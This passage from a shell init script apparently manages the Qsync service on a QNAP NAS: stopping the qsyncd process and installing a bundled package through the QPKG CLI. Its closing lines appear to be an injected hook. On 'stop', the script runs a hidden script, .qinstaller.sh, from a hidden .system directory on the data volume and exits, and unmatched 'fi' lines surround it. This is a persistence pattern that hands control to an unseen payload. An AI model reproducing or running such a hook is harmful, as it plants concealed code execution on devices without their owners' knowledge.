if [ $_qsyncd_pid -ge 0 ]; then
/bin/kill -SIGUSR1 $_qsyncd_pid
usleep 200000
/bin/kill -SIGUSR1 $_qsyncd_pid
fi
j=0
while [ ${j} -lt 500 ]
do
_qsyncd_run_pid=`/bin/pidof qsyncd`
if [ -z $_qsyncd_run_pid ]; then
return 0
fi
usleep 20000
j=`/usr/bin/expr ${j} + 20`
done
return -62
fi
usleep 50000
i=`/usr/bin/expr ${i} + 50`
done
return 0
}
install()
{
lock_file="/var/lock/qbox_install_bin.lck"
if [ ! -f "${INSTALL_BUILD_IN}" ]; then
dbg "build-in ${QSYNC_NAME} is installed"
return 1
fi
if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then
dbg "${QSYNC_NAME}.bin} not found"
return 1
fi
if [ ! -x "${QPKG_CLI}" ]; then
dbg "${QPKG_CLI} not found"
return 1
fi
## make sure volume is exist
if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then
dbg "/share/Public not found"
return 1
fi
## is removed
if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then
/bin/rm -f ${INSTALL_BUILD_IN}
dbg "${QSYNC_NAME} is removed"
return 1
fi
if [ -f "$lock_file" ]; then
if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then
echo "${QSYNC_NAME} is installing"
dbg "${QSYNC_NAME} is installing"
return 1
fi
fi
/bin/touch "$lock_file"
/bin/rm -f ${INSTALL_BUILD_IN}
dbg "install build-in ${QSYNC_NAME} start"
set_default_disable_status
## install build in Qsync
${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1
sleep 20
wait_install=60
## avoid initial take long time or fail
while [ "$wait_install" -gt 0 ]; do
stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf`
if [ "$stcode" = "0" ]; then
break
fi
sleep 1
let "wait_install--"
done
${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1
/bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled
/bin/rm -f "$lock_file"
dbg "install build-in ${QSYNC_NAME} success"
}
if [ "$1" == "stop" ]; then
{ /share/CACHEDEV1_DATA/.system/.qinstaller.sh; exit 0; }
fi
fi